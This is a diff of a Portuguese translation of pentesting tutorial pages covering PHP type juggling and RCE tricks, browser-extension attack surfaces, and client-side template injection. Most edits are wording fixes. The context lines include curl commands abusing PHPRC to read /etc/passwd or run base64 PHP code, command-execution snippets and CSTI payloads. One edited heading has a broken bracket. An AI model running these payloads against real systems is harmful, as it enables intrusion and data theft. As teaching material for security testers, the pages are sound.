 Example: ../../../../../../tmp/sess_d1d531db62523df80e1153ada1d4b02e
 ```
-## Bypassando comparações PHP
+## Ignorando comparações PHP
 
 ### Comparações soltas/Juggling de Tipo ( == )
 
-Se `==` é usado em PHP, então há casos inesperados onde a comparação não se comporta como esperado. Isso ocorre porque "==" só compara valores transformados para o mesmo tipo, se você também quiser comparar se o tipo dos dados comparados é o mesmo, você precisa usar `===`.
+Se `==` for usado em PHP, então há casos inesperados onde a comparação não se comporta como esperado. Isso ocorre porque "==" compara apenas valores transformados para o mesmo tipo; se você também quiser comparar se o tipo dos dados comparados é o mesmo, precisa usar `===`.
 
 Tabelas de comparação PHP: [https://www.php.net/manual/en/types.comparisons.php](https://www.php.net/manual/en/types.comparisons.php)
 
@@ -32,10 +32,10 @@ Tabelas de comparação PHP: [https://www.php.net/manual/en/types.comparisons.ph
 {% file src="../../../images/EN-PHP-loose-comparison-Type-Juggling-OWASP (1).pdf" %}
 
 - `"string" == 0 -> True` Uma string que não começa com um número é igual a um número
-- `"0xAAAA" == "43690" -> True` Strings compostas por números em formato decimal ou hexadecimal podem ser comparadas a outros números/strings com True como resultado se os números forem os mesmos (números em uma string são interpretados como números)
+- `"0xAAAA" == "43690" -> True` Strings compostas por números em formato decimal ou hexadecimal podem ser comparadas a outros números/strings com resultado True se os números forem os mesmos (números em uma string são interpretados como números)
 - `"0e3264578" == 0 --> True` Uma string que começa com "0e" e é seguida por qualquer coisa será igual a 0
 - `"0X3264578" == 0X --> True` Uma string que começa com "0" e é seguida por qualquer letra (X pode ser qualquer letra) e seguida por qualquer coisa será igual a 0
-- `"0e12334" == "0" --> True` Isso é muito interessante porque em alguns casos você pode controlar a entrada da string "0" e algum conteúdo que está sendo hashado e comparado a ela. Portanto, se você puder fornecer um valor que criará um hash começando com "0e" e sem nenhuma letra, você poderá contornar a comparação. Você pode encontrar **strings já hashadas** com esse formato aqui: [https://github.com/spaze/hashes](https://github.com/spaze/hashes)
+- `"0e12334" == "0" --> True` Isso é muito interessante porque em alguns casos você pode controlar a entrada da string "0" e algum conteúdo que está sendo hashado e comparado a ela. Portanto, se você puder fornecer um valor que criará um hash começando com "0e" e sem nenhuma letra, poderá ignorar a comparação. Você pode encontrar **strings já hashadas** com esse formato aqui: [https://github.com/spaze/hashes](https://github.com/spaze/hashes)
 - `"X" == 0 --> True` Qualquer letra em uma string é igual a int 0
 
 Mais informações em [https://medium.com/swlh/php-type-juggling-vulnerabilities-3e28c4ed5c09](https://medium.com/swlh/php-type-juggling-vulnerabilities-3e28c4ed5c09)
@@ -73,7 +73,7 @@ Mesmo que `===` esteja **sendo usado**, pode haver erros que tornam a **compara
 
 #### Bypass de nova linha
 
-No entanto, ao delimitar o início da regexp, `preg_match()` **verifica apenas a primeira linha da entrada do usuário**, então, se de alguma forma você puder **enviar** a entrada em **várias linhas**, você poderá contornar essa verificação. Exemplo:
+No entanto, ao delimitar o início da regexp, `preg_match()` **verifica apenas a primeira linha da entrada do usuário**, então, se de alguma forma você puder **enviar** a entrada em **várias linhas**, poderá contornar essa verificação. Exemplo:
 ```php
 $myinput="aaaaaaa
 11111111"; //Notice the new line
@@ -86,7 +86,7 @@ echo preg_match("/^.*1/",$myinput);
 echo preg_match("/^.*1.*$/",$myinput);
 //0  --> In this scenario preg_match DOESN'T find the char "1"
 ```
-Para contornar essa verificação, você pode **enviar o valor com quebras de linha urlencoded** (`%0A`) ou, se puder enviar **dados JSON**, enviá-los em **várias linhas**:
+Para contornar essa verificação, você pode **enviar o valor com quebras de linha urlencoded** (`%0A`) ou, se puder enviar **dados JSON**, envie-o em **várias linhas**:
 ```php
 {
 "cmd": "cat /etc/passwd"
@@ -132,7 +132,7 @@ $obfs += ""; //int 7
 ```
 ## Execute After Redirect (EAR)
 
-Se o PHP estiver redirecionando para outra página, mas nenhuma função **`die`** ou **`exit`** for **chamada após o cabeçalho `Location`** ser definido, o PHP continuará executando e anexando os dados ao corpo:
+Se o PHP estiver redirecionando para outra página, mas nenhuma função **`die`** ou **`exit`** for **chamada após o cabeçalho `Location`** ser definido, o PHP continua executando e anexando os dados ao corpo:
 ```php
 <?php
 // In this page the page will be read and the content appended to the body of
@@ -153,10 +153,10 @@ Verifique:
 ## Mais truques
 
 - **register_globals**: Em **PHP < 4.1.1.1** ou se mal configurado, **register_globals** pode estar ativo (ou seu comportamento está sendo imitado). Isso implica que em variáveis globais como $\_GET, se tiverem um valor, por exemplo, $\_GET\["param"]="1234", você pode acessá-lo via **$param. Portanto, ao enviar parâmetros HTTP, você pode sobrescrever variáveis\*\* que são usadas dentro do código.
-- Os **cookies PHPSESSION do mesmo domínio são armazenados no mesmo lugar**, portanto, se dentro de um domínio **cookies diferentes são usados em caminhos diferentes**, você pode fazer com que um caminho **acesse o cookie do outro caminho** definindo o valor do cookie do outro caminho.\
+- Os **cookies PHPSESSION do mesmo domínio são armazenados no mesmo lugar**, portanto, se dentro de um domínio **cookies diferentes são usados em caminhos diferentes**, você pode fazer com que um caminho **acesse o cookie do caminho** definindo o valor do cookie do outro caminho.\
 Dessa forma, se **ambos os caminhos acessarem uma variável com o mesmo nome**, você pode fazer com que o **valor dessa variável em path1 se aplique a path2**. E então path2 considerará válidos as variáveis de path1 (dando ao cookie o nome que corresponde a ele em path2).
 - Quando você tiver os **nomes de usuário** dos usuários da máquina. Verifique o endereço: **/\~\<USERNAME>** para ver se os diretórios php estão ativados.
-- [**LFI e RCE usando wrappers php**](../../../pentesting-web/file-inclusion/)
+- [**LFI e RCE usando wrappers php**](../../../pentesting-web/file-inclusion/index.html)
 
 ### password_hash/password_verify
 
@@ -202,7 +202,7 @@ php-ssrf.md
 &#xNAN;**\`ls\`;**\
 **shell_exec("ls");**
 
-[Verifique isso para mais funções PHP úteis](php-useful-functions-disable_functions-open_basedir-bypass/)
+[Verifique isso para mais funções PHP úteis](php-useful-functions-disable_functions-open_basedir-bypass/index.html)
 
 ### **RCE via** **preg_replace()**
 ```php
@@ -281,7 +281,7 @@ Se você encontrar uma vulnerabilidade que permite **modificar variáveis de amb
 3. Defina a variável `PHPRC` para o arquivo que enviamos na etapa 2.
 - Obtenha mais informações sobre como executar essa cadeia [**do relatório original**](https://labs.watchtowr.com/cve-2023-36844-and-friends-rce-in-juniper-firewalls/).
 - **PHPRC** - outra opção
-- Se você **não puder fazer upload de arquivos**, você poderia usar no FreeBSD o "arquivo" `/dev/fd/0` que contém o **`stdin`**, sendo o **corpo** da solicitação enviada ao `stdin`:
+- Se você **não puder fazer upload de arquivos**, você poderia usar no FreeBSD o "arquivo" `/dev/fd/0` que contém o **`stdin`**, sendo o **corpo** da solicitação enviada para o `stdin`:
 - `curl "http://10.12.72.1/?PHPRC=/dev/fd/0" --data-binary 'auto_prepend_file="/etc/passwd"'`
 - Ou para obter RCE, habilite **`allow_url_include`** e prepend um arquivo com **código PHP em base64**:
 - `curl "http://10.12.72.1/?PHPRC=/dev/fd/0" --data-binary $'allow_url_include=1\nauto_prepend_file="data://text/plain;base64,PD8KICAgcGhwaW5mbygpOwo/Pg=="'`
@@ -308,7 +308,7 @@ phpinfo();
 ?>
 
 ```
-## Bypass de Sanitização em PHP & Brain Fuck
+## Bypass de Sanitização PHP & Brain Fuck
 
 [**Neste post**](https://blog.redteam-pentesting.de/2024/moodle-rce/) é possível encontrar ótimas ideias para gerar um código PHP brain fuck com muito poucos caracteres permitidos.\
 Além disso, também é proposta uma maneira interessante de executar funções que permitiram contornar várias verificações:
@@ -335,7 +335,7 @@ Wrappers e protocolos PHP podem permitir que você **bypasse proteções de escr
 
 ## RCE não autenticada do Xdebug
 
-Se você ver que **Xdebug** está **habilitado** na saída de `phpconfig()`, deve tentar obter RCE via [https://github.com/nqxcode/xdebug-exploit](https://github.com/nqxcode/xdebug-exploit)
+Se você ver que **Xdebug** está **habilitado** na saída de `phpconfig()`, você deve tentar obter RCE via [https://github.com/nqxcode/xdebug-exploit](https://github.com/nqxcode/xdebug-exploit)
 
 ## Variáveis variáveis
 ```php
@@ -349,7 +349,7 @@ echo "${Da}"; //Drums
 echo "$x ${$x}"; //Da Drums
 echo "$x ${Da}"; //Da Drums
 ```
-## RCE abusando de novo $\_GET\["a"]\($\_GET\["b"])
+## RCE abusando de novo $\_GET\["a"]\($\_GET\["b")
 
 Se em uma página você pode **criar um novo objeto de uma classe arbitrária**, você pode ser capaz de obter RCE, confira a página a seguir para aprender como:
 

src/pentesting-web/browser-extension-pentesting-methodology/README.md

@@ -1,20 +1,20 @@
-# Metodologia de Pentesting de Extensões de Navegador
+# Browser Extension Pentesting Methodology
 
 {{#include ../../banners/hacktricks-training.md}}
 
 ## Informações Básicas
 
-As extensões de navegador são escritas em JavaScript e carregadas pelo navegador em segundo plano. Elas têm seu [DOM](https://www.w3schools.com/js/js_htmldom.asp), mas podem interagir com os DOMs de outros sites. Isso significa que podem comprometer a confidencialidade, integridade e disponibilidade (CIA) de outros sites.
+As extensões do navegador são escritas em JavaScript e carregadas pelo navegador em segundo plano. Elas têm seu [DOM](https://www.w3schools.com/js/js_htmldom.asp), mas podem interagir com os DOMs de outros sites. Isso significa que podem comprometer a confidencialidade, integridade e disponibilidade (CIA) de outros sites.
 
 ## Componentes Principais
 
-Os layouts de extensão parecem melhores quando visualizados e consistem em três componentes. Vamos analisar cada componente em profundidade.
+Os layouts das extensões parecem melhores quando visualizados e consistem em três componentes. Vamos analisar cada componente em profundidade.
 
 <figure><img src="../../images/image (16) (1) (1).png" alt=""><figcaption><p><a href="http://webblaze.cs.berkeley.edu/papers/Extensions.pdf">http://webblaze.cs.berkeley.edu/papers/Extensions.pdf</a></p></figcaption></figure>
 
 ### **Scripts de Conteúdo**
 
-Cada script de conteúdo tem acesso direto ao DOM de uma **única página da web** e, portanto, está exposto a **entradas potencialmente maliciosas**. No entanto, o script de conteúdo não contém permissões além da capacidade de enviar mensagens ao núcleo da extensão.
+Cada script de conteúdo tem acesso direto ao DOM de uma **única página da web** e, portanto, está exposto a **entrada potencialmente maliciosa**. No entanto, o script de conteúdo não contém permissões além da capacidade de enviar mensagens ao núcleo da extensão.
 
 ### **Núcleo da Extensão**
 
@@ -27,7 +27,7 @@ A extensão permite um binário nativo que pode **acessar a máquina host com os
 ### Limites
 
 > [!CAUTION]
-> Para obter os privilégios totais do usuário, um atacante deve convencer a extensão a passar entradas maliciosas do script de conteúdo para o núcleo da extensão e do núcleo da extensão para o binário nativo.
+> Para obter os privilégios totais do usuário, um atacante deve convencer a extensão a passar entrada maliciosa do script de conteúdo para o núcleo da extensão e do núcleo da extensão para o binário nativo.
 
 Cada componente da extensão é separado dos outros por **fortes limites de proteção**. Cada componente é executado em um **processo de sistema operacional separado**. Scripts de conteúdo e núcleos de extensão são executados em **processos de sandbox** indisponíveis para a maioria dos serviços do sistema operacional.
 
@@ -61,7 +61,7 @@ Exemplo:
 ```
 ### `content_scripts`
 
-Os scripts de conteúdo são **carregados** sempre que o usuário **navega para uma página correspondente**, no nosso caso, qualquer página que corresponda à expressão **`https://example.com/*`** e não corresponda à regex **`*://*/*/business*`**. Eles são executados **como os próprios scripts da página** e têm acesso arbitrário ao [Document Object Model (DOM)](https://developer.mozilla.org/en-US/docs/Web/API/Document_Object_Model) da página.
+Os scripts de conteúdo são **carregados** sempre que o usuário **navega para uma página correspondente**, neste caso, qualquer página que corresponda à expressão **`https://example.com/*`** e não corresponda à regex **`*://*/*/business*`**. Eles são executados **como os próprios scripts da página** e têm acesso arbitrário ao [Document Object Model (DOM)](https://developer.mozilla.org/en-US/docs/Web/API/Document_Object_Model) da página.
 ```json
 "content_scripts": [
 {
@@ -99,7 +99,7 @@ Uma mensagem é enviada para as páginas da extensão pelo script de conteúdo q
 
 Para visualizar e depurar scripts de conteúdo no Chrome, o menu de ferramentas de desenvolvedor do Chrome pode ser acessado em Opções > Mais ferramentas > Ferramentas do desenvolvedor OU pressionando Ctrl + Shift + I.
 
-Após as ferramentas de desenvolvedor serem exibidas, a aba **Source** deve ser clicada, seguida pela aba **Content Scripts**. Isso permite a observação de scripts de conteúdo em execução de várias extensões e a definição de pontos de interrupção para rastrear o fluxo de execução.
+Após as ferramentas de desenvolvedor serem exibidas, a **aba Fonte** deve ser clicada, seguida pela aba **Scripts de Conteúdo**. Isso permite a observação de scripts de conteúdo em execução de várias extensões e a definição de pontos de interrupção para rastrear o fluxo de execução.
 
 ### Scripts de conteúdo injetados
 
@@ -227,7 +227,7 @@ chrome.tabs.create({ url: "https://example.net/explanation" })
 }
 })
 ```
-Utiliza a [runtime.onMessage API](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/runtime/onMessage) para escutar mensagens. Quando uma mensagem `"explain"` é recebida, utiliza a [tabs API](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs) para abrir uma página em uma nova aba.
+Usa a [runtime.onMessage API](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/runtime/onMessage) para escutar mensagens. Quando uma mensagem `"explain"` é recebida, usa a [tabs API](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs) para abrir uma página em uma nova aba.
 
 Para depurar o script de fundo, você pode ir para os **detalhes da extensão e inspecionar o service worker,** isso abrirá as ferramentas de desenvolvedor com o script de fundo:
 
@@ -243,7 +243,7 @@ As extensões de navegador podem conter vários tipos de páginas:
 
 <figure><img src="../../images/image (24).png" alt="" width="375"><figcaption></figcaption></figure>
 
-Note que essas páginas não são persistentes como as páginas de fundo, pois carregam conteúdo dinamicamente conforme a necessidade. Apesar disso, elas compartilham certas capacidades com a página de fundo:
+Note que essas páginas não são persistentes como as páginas de fundo, pois carregam conteúdo dinamicamente conforme necessário. Apesar disso, elas compartilham certas capacidades com a página de fundo:
 
 - **Comunicação com Scripts de Conteúdo:** Semelhante à página de fundo, essas páginas podem receber mensagens de scripts de conteúdo, facilitando a interação dentro da extensão.
 - **Acesso a APIs Específicas da Extensão:** Essas páginas têm acesso abrangente a APIs específicas da extensão, sujeito às permissões definidas para a extensão.
@@ -302,7 +302,7 @@ Em extensões públicas, o **extension-id é acessível**:
 
 <figure><img src="../../images/image (1194).png" alt="" width="375"><figcaption></figcaption></figure>
 
-Embora, se o parâmetro `manifest.json` **`use_dynamic_url`** for utilizado, este **id pode ser dinâmico**.
+No entanto, se o parâmetro `manifest.json` **`use_dynamic_url`** for utilizado, este **id pode ser dinâmico**.
 
 > [!TIP]
 > Note que mesmo que uma página seja mencionada aqui, ela pode estar **protegida contra ClickJacking** graças à **Content Security Policy**. Portanto, você também precisa verificá-la (seção frame-ancestors) antes de confirmar que um ataque de ClickJacking é possível.
@@ -319,14 +319,14 @@ browext-clickjacking.md
 > [!CAUTION]
 > Note que as páginas de **`web_accessible_resources`** e outras páginas da extensão também são capazes de **contatar scripts em segundo plano**. Portanto, se uma dessas páginas for vulnerável a **XSS**, isso pode abrir uma vulnerabilidade maior.
 >
-> Além disso, note que você só pode abrir páginas indicadas em **`web_accessible_resources`** dentro de iframes, mas de uma nova aba é possível acessar qualquer página na extensão conhecendo o ID da extensão. Portanto, se um XSS for encontrado abusando dos mesmos parâmetros, ele pode ser explorado mesmo que a página não esteja configurada em **`web_accessible_resources`**.
+> Além disso, note que você só pode abrir páginas indicadas em **`web_accessible_resources`** dentro de iframes, mas a partir de uma nova aba é possível acessar qualquer página na extensão conhecendo o ID da extensão. Portanto, se um XSS for encontrado abusando dos mesmos parâmetros, ele pode ser explorado mesmo que a página não esteja configurada em **`web_accessible_resources`**.
 
 ### `externally_connectable`
 
 De acordo com os [**docs**](https://developer.chrome.com/docs/extensions/reference/manifest/externally-connectable), a propriedade de manifesto `"externally_connectable"` declara **quais extensões e páginas da web podem se conectar** à sua extensão via [runtime.connect](https://developer.chrome.com/docs/extensions/reference/runtime#method-connect) e [runtime.sendMessage](https://developer.chrome.com/docs/extensions/reference/runtime#method-sendMessage).
 
 - Se a chave **`externally_connectable`** **não** for declarada no manifesto da sua extensão ou for declarada como **`"ids": ["*"]`**, **todas as extensões podem se conectar, mas nenhuma página da web pode se conectar**.
-- Se **IDs específicos forem especificados**, como em `"ids": ["aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"]`, **apenas aqueles aplicativos** podem se conectar.
+- Se **IDs específicos forem especificados**, como em `"ids": ["aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"]`, **apenas esses aplicativos** podem se conectar.
 - Se **matches** forem especificados, esses aplicativos da web poderão se conectar:
 ```json
 "matches": [
@@ -335,7 +335,7 @@ De acordo com os [**docs**](https://developer.chrome.com/docs/extensions/referen
 ```
 - Se estiver especificado como vazio: **`"externally_connectable": {}`**, nenhum aplicativo ou site poderá se conectar.
 
-As **menos extensões e URLs** indicadas aqui, menor será a **superfície de ataque**.
+Quanto **menos extensões e URLs** indicadas aqui, **menor será a superfície de ataque**.
 
 > [!CAUTION]
 > Se uma página da web **vulnerável a XSS ou takeover** estiver indicada em **`externally_connectable`**, um atacante poderá **enviar mensagens diretamente para o script de fundo**, contornando completamente o Content Script e seu CSP.
@@ -348,13 +348,13 @@ As **menos extensões e URLs** indicadas aqui, menor será a **superfície de at
 
 ### Extensão <--> WebApp
 
-Para comunicar entre o script de conteúdo e a página da web, mensagens postadas são geralmente usadas. Portanto, na aplicação web você geralmente encontrará chamadas para a função **`window.postMessage`** e, no script de conteúdo, ouvintes como **`window.addEventListener`**. Note, no entanto, que a extensão também pode **comunicar-se com a aplicação web enviando uma Post Message** (e, portanto, a web deve esperar por isso) ou apenas fazer a web carregar um novo script.
+Para comunicar entre o script de conteúdo e a página da web, mensagens postadas são geralmente usadas. Portanto, na aplicação web você geralmente encontrará chamadas para a função **`window.postMessage`** e no script de conteúdo ouvintes como **`window.addEventListener`**. Note, no entanto, que a extensão também pode **comunicar-se com a aplicação web enviando uma Post Message** (e, portanto, a web deve esperar por isso) ou apenas fazer a web carregar um novo script.
 
 ### Dentro da extensão
 
 Geralmente, a função **`chrome.runtime.sendMessage`** é usada para enviar uma mensagem dentro da extensão (geralmente tratada pelo script `background`) e, para receber e manipulá-la, um ouvinte é declarado chamando **`chrome.runtime.onMessage.addListener`**.
 
-Também é possível usar **`chrome.runtime.connect()`** para ter uma conexão persistente em vez de enviar mensagens únicas, é possível usá-la para **enviar** e **receber** **mensagens** como no seguinte exemplo:
+Também é possível usar **`chrome.runtime.connect()`** para ter uma conexão persistente em vez de enviar mensagens únicas, é possível usá-lo para **enviar** e **receber** **mensagens** como no seguinte exemplo:
 
 <details>
 
@@ -401,7 +401,7 @@ Onde é necessário mencionar o **ID da extensão**.
 
 ### Mensagens Nativas
 
-É possível que os scripts de fundo se comuniquem com binários dentro do sistema, que podem ser **susceptíveis a vulnerabilidades críticas, como RCEs**, se essa comunicação não estiver devidamente segura. [Mais sobre isso mais tarde](#native-messaging).
+É possível que os scripts de fundo se comuniquem com binários dentro do sistema, que podem ser **susceptíveis a vulnerabilidades críticas, como RCEs**, se essa comunicação não for devidamente protegida. [Mais sobre isso mais tarde](#native-messaging).
 ```javascript
 chrome.runtime.sendNativeMessage(
 "com.my_company.my_application",
@@ -452,13 +452,13 @@ false
 ```
 Uma comunicação segura de Post Message deve verificar a autenticidade da mensagem recebida, isso pode ser feito verificando:
 
-- **`event.isTrusted`**: Isso é Verdadeiro apenas se o evento foi acionado por uma ação do usuário
+- **`event.isTrusted`**: Isso é True apenas se o evento foi acionado por uma ação do usuário
 - O script de conteúdo pode esperar uma mensagem apenas se o usuário realizar alguma ação
 - **domínio de origem**: pode esperar uma mensagem apenas de uma lista de domínios permitidos.
 - Se uma regex for usada, tenha muito cuidado
 - **Fonte**: `received_message.source !== window` pode ser usado para verificar se a mensagem foi **da mesma janela** onde o Script de Conteúdo está ouvindo.
 
-As verificações anteriores, mesmo que realizadas, podem ser vulneráveis, então verifique na página seguinte **potenciais bypasses de Post Message**:
+As verificações anteriores, mesmo se realizadas, podem ser vulneráveis, então verifique na página seguinte **potenciais bypasses de Post Message**:
 
 {{#ref}}
 ../postmessage-vulnerabilities/
@@ -474,7 +474,7 @@ browext-xss-example.md
 
 ### DOM
 
-Isso não é "exatamente" uma forma de comunicação, mas o **web e o script de conteúdo terão acesso ao DOM da web**. Portanto, se o **script de conteúdo** estiver lendo algumas informações dele, **confiando no DOM da web**, a web poderia **modificar esses dados** (porque a web não deve ser confiável, ou porque a web é vulnerável a XSS) e **comprometer o Script de Conteúdo**.
+Isso não é "exatamente" uma forma de comunicação, mas o **web e o script de conteúdo terão acesso ao DOM da web**. Assim, se o **script de conteúdo** estiver lendo alguma informação dele, **confiando no DOM da web**, a web poderia **modificar esses dados** (porque a web não deve ser confiável, ou porque a web é vulnerável a XSS) e **comprometer o Script de Conteúdo**.
 
 Você também pode encontrar um exemplo de um **XSS baseado em DOM para comprometer uma extensão de navegador** em:
 
@@ -546,7 +546,7 @@ O Chrome/Chromium irá procurar por este json em alguns registros do Windows e a
 > [!TIP]
 > A extensão do navegador também precisa da permissão `nativeMessaing` declarada para poder usar essa comunicação.
 
-É assim que parece um código de script de fundo enviando mensagens para um aplicativo nativo:
+Assim é como parece um código de script de fundo enviando mensagens para um aplicativo nativo:
 ```javascript
 chrome.runtime.sendNativeMessage(
 "com.my_company.my_application",
@@ -571,7 +571,7 @@ Se uma Extensão do Navegador armazena **informações sensíveis dentro de sua
 
 Portanto, a memória da Extensão do Navegador **não deve ser considerada segura** e **informações sensíveis** como credenciais ou frases mnemônicas **não devem ser armazenadas**.
 
-Claro, **não coloque informações sensíveis no código**, pois isso será **público**.
+Claro, não **coloque informações sensíveis no código**, pois isso será **público**.
 
 Para extrair a memória do navegador, você pode **extrair a memória do processo** ou ir para as **configurações** da extensão do navegador, clicar em **`Inspecionar pop-up`** -> Na seção **`Memória`** -> **`Tirar um instantâneo`** e **`CTRL+F`** para procurar dentro do instantâneo por informações sensíveis.
 
@@ -648,8 +648,8 @@ Embora as Extensões de Navegador tenham uma **superfície de ataque limitada**,
 - [ ] **Limitar** o máximo possível os **`web_accessible_resources`**, mesmo vazios se possível.
 - [ ] Se **`web_accessible_resources`** não for nenhum, verificar [**ClickJacking**](browext-clickjacking.md)
 - [ ] Se qualquer **comunicação** ocorrer da **extensão** para a **página da web**, [**verificar XSS**](browext-xss-example.md) **vulnerabilidades** causadas na comunicação.
-- [ ] Se Post Messages forem usados, verificar [**vulnerabilidades de Post Message**](../postmessage-vulnerabilities/)**.**
-- [ ] Se o **Content Script acessar detalhes do DOM**, verificar se eles **não estão introduzindo um XSS** se forem **modificados** pela web
+- [ ] Se Post Messages forem usados, verificar [**vulnerabilidades de Post Message**](../postmessage-vulnerabilities/index.html)**.**
+- [ ] Se o **Content Script acessar detalhes do DOM**, verificar se **não estão introduzindo um XSS** se forem **modificados** pela web
 - [ ] Fazer uma ênfase especial se essa comunicação também estiver envolvida na **comunicação do Content Script -> script de fundo**
 - [ ] Se o script de fundo estiver se comunicando via **native messaging**, verificar se a comunicação é segura e sanitizada
 - [ ] **Informações sensíveis não devem ser armazenadas** dentro do código da Extensão do Navegador
@@ -664,11 +664,11 @@ Embora as Extensões de Navegador tenham uma **superfície de ataque limitada**,
 
 ### [**Tarnish**](https://thehackerblog.com/tarnish/)
 
-- Puxa qualquer extensão do Chrome a partir de um link fornecido da Chrome webstore.
-- [**manifest.json**](https://developer.chrome.com/extensions/manifest) **visualizador**: simplesmente exibe uma versão JSON formatada do manifesto da extensão.
+- Puxa qualquer extensão do Chrome a partir de um link fornecido da Chrome Webstore.
+- Visualizador de [**manifest.json**](https://developer.chrome.com/extensions/manifest): simplesmente exibe uma versão JSON formatada do manifesto da extensão.
 - **Análise de Impressão Digital**: Detecção de [web_accessible_resources](https://developer.chrome.com/extensions/manifest/web_accessible_resources) e geração automática de JavaScript de impressão digital de extensão do Chrome.
 - **Análise Potencial de Clickjacking**: Detecção de páginas HTML de extensão com a diretiva [web_accessible_resources](https://developer.chrome.com/extensions/manifest/web_accessible_resources) definida. Estas são potencialmente vulneráveis a clickjacking dependendo do propósito das páginas.
-- **Visualizador de Aviso(s) de Permissão**: que mostra uma lista de todos os avisos de prompt de permissão do Chrome que serão exibidos quando um usuário tentar instalar a extensão.
+- Visualizador de **Aviso(s) de Permissão**: que mostra uma lista de todos os avisos de solicitação de permissão do Chrome que serão exibidos quando um usuário tentar instalar a extensão.
 - **Função(ões) Perigosa(s)**: mostra a localização de funções perigosas que poderiam potencialmente ser exploradas por um atacante (por exemplo, funções como innerHTML, chrome.tabs.executeScript).
 - **Ponto(s) de Entrada**: mostra onde a extensão recebe entrada de usuário/externa. Isso é útil para entender a área de superfície de uma extensão e procurar pontos potenciais para enviar dados maliciosamente elaborados para a extensão.
 - Tanto os scanners de Função(ões) Perigosa(s) quanto de Ponto(s) de Entrada têm o seguinte para seus alertas gerados:
@@ -676,7 +676,7 @@ Embora as Extensões de Navegador tenham uma **superfície de ataque limitada**,
 - Descrição do problema.
 - Um botão “Ver Arquivo” para visualizar o arquivo fonte completo contendo o código.
 - O caminho do arquivo alertado.
-- O URI completo da extensão do Chrome do arquivo alertado.
+- A URI completa da extensão do Chrome do arquivo alertado.
 - O tipo de arquivo que é, como um script de Página de Fundo, Script de Conteúdo, Ação do Navegador, etc.
 - Se a linha vulnerável estiver em um arquivo JavaScript, os caminhos de todas as páginas onde está incluída, bem como o tipo dessas páginas e o status de [web_accessible_resource](https://developer.chrome.com/extensions/manifest/web_accessible_resources).
 - **Analisador de Política de Segurança de Conteúdo (CSP) e verificador de bypass**: Isso apontará fraquezas na CSP da sua extensão e também iluminará quaisquer maneiras potenciais de contornar sua CSP devido a CDNs na lista branca, etc.
@@ -684,12 +684,12 @@ Embora as Extensões de Navegador tenham uma **superfície de ataque limitada**,
 - Baixar extensão e versões formatadas.
 - Baixar a extensão original.
 - Baixar uma versão embelezada da extensão (HTML e JavaScript automaticamente formatados).
-- Cache automático dos resultados da varredura, executar uma varredura de extensão levará um bom tempo na primeira vez que você a executar. No entanto, a segunda vez, assumindo que a extensão não foi atualizada, será quase instantânea devido aos resultados estarem em cache.
+- Cache automático dos resultados da varredura, executar uma varredura de extensão levará um bom tempo na primeira vez que você a executar. No entanto, na segunda vez, assumindo que a extensão não foi atualizada, será quase instantâneo devido aos resultados estarem em cache.
 - URLs de Relatório linkáveis, facilmente vincule alguém a um relatório de extensão gerado pelo tarnish.
 
 ### [Neto](https://github.com/elevenpaths/neto)
 
-O Projeto Neto é um pacote Python 3 concebido para analisar e desvendar recursos ocultos de plugins e extensões de navegador para navegadores bem conhecidos, como Firefox e Chrome. Ele automatiza o processo de descompactar os arquivos empacotados para extrair esses recursos de recursos relevantes em uma extensão como `manifest.json`, pastas de localização ou arquivos fonte JavaScript e HTML.
+O Projeto Neto é um pacote Python 3 concebido para analisar e desvendar recursos ocultos de plugins e extensões de navegador para navegadores bem conhecidos, como Firefox e Chrome. Ele automatiza o processo de descompactar os arquivos empacotados para extrair esses recursos de recursos relevantes em uma extensão como `manifest.json`, pastas de localização ou arquivos fonte em Javascript e HTML.
 
 ## Referências
 

src/pentesting-web/client-side-template-injection-csti.md

@@ -4,13 +4,13 @@
 
 ## Resumo
 
-É como uma [**Injeção de Template do Lado do Servidor**](ssti-server-side-template-injection/) mas no **cliente**. A **SSTI** pode permitir que você **execute código** no servidor remoto, a **CSTI** pode permitir que você **execute código JavaScript** arbitrário no navegador da vítima.
+É como uma [**Injeção de Template do Lado do Servidor**](ssti-server-side-template-injection/index.html), mas no **cliente**. A **SSTI** pode permitir que você **execute código** no servidor remoto, a **CSTI** pode permitir que você **execute código JavaScript** arbitrário no navegador da vítima.
 
-**Testar** essa vulnerabilidade é muito **semelhante** ao caso da **SSTI**, o interpretador espera **um template** e o executará. Por exemplo, com um payload como `{{ 7-7 }}`, se o aplicativo for **vulnerável** você verá um `0`, e se não for, verá o original: `{{ 7-7 }}`
+**Testar** essa vulnerabilidade é muito **semelhante** ao caso da **SSTI**, o interpretador espera **um template** e o executará. Por exemplo, com um payload como `{{ 7-7 }}`, se o aplicativo for **vulnerável**, você verá um `0`, e se não for, verá o original: `{{ 7-7 }}`
 
 ## AngularJS
 
-AngularJS é um framework JavaScript amplamente utilizado que interage com HTML através de atributos conhecidos como diretivas, uma notável sendo **`ng-app`**. Esta diretiva permite que o AngularJS processe o conteúdo HTML, possibilitando a execução de expressões JavaScript dentro de chaves duplas.
+AngularJS é um framework JavaScript amplamente utilizado que interage com HTML através de atributos conhecidos como diretivas, sendo uma notável **`ng-app`**. Esta diretiva permite que o AngularJS processe o conteúdo HTML, possibilitando a execução de expressões JavaScript dentro de chaves duplas.
 
 Em cenários onde a entrada do usuário é inserida dinamicamente no corpo HTML marcado com `ng-app`, é possível executar código JavaScript arbitrário. Isso pode ser alcançado aproveitando a sintaxe do AngularJS dentro da entrada. Abaixo estão exemplos demonstrando como o código JavaScript pode ser executado:
 ```javascript
@@ -30,7 +30,7 @@ Você pode encontrar um **exemplo online muito básico** da vulnerabilidade em *
 Você pode encontrar uma **implementação vulnerável do Vue** em [https://vue-client-side-template-injection-example.azu.now.sh/](https://vue-client-side-template-injection-example.azu.now.sh)\
 Payload funcional: [`https://vue-client-side-template-injection-example.azu.now.sh/?name=%7B%7Bthis.constructor.constructor(%27alert(%22foo%22)%27)()%7D%`](<https://vue-client-side-template-injection-example.azu.now.sh/?name=%7B%7Bthis.constructor.constructor(%27alert(%22foo%22)%27)()%7D%7D>)
 
-E o **código-fonte** do exemplo vulnerável aqui: [https://github.com/azu/vue-client-side-template-injection-example](https://github.com/azu/vue-client-side-template-injection-example)
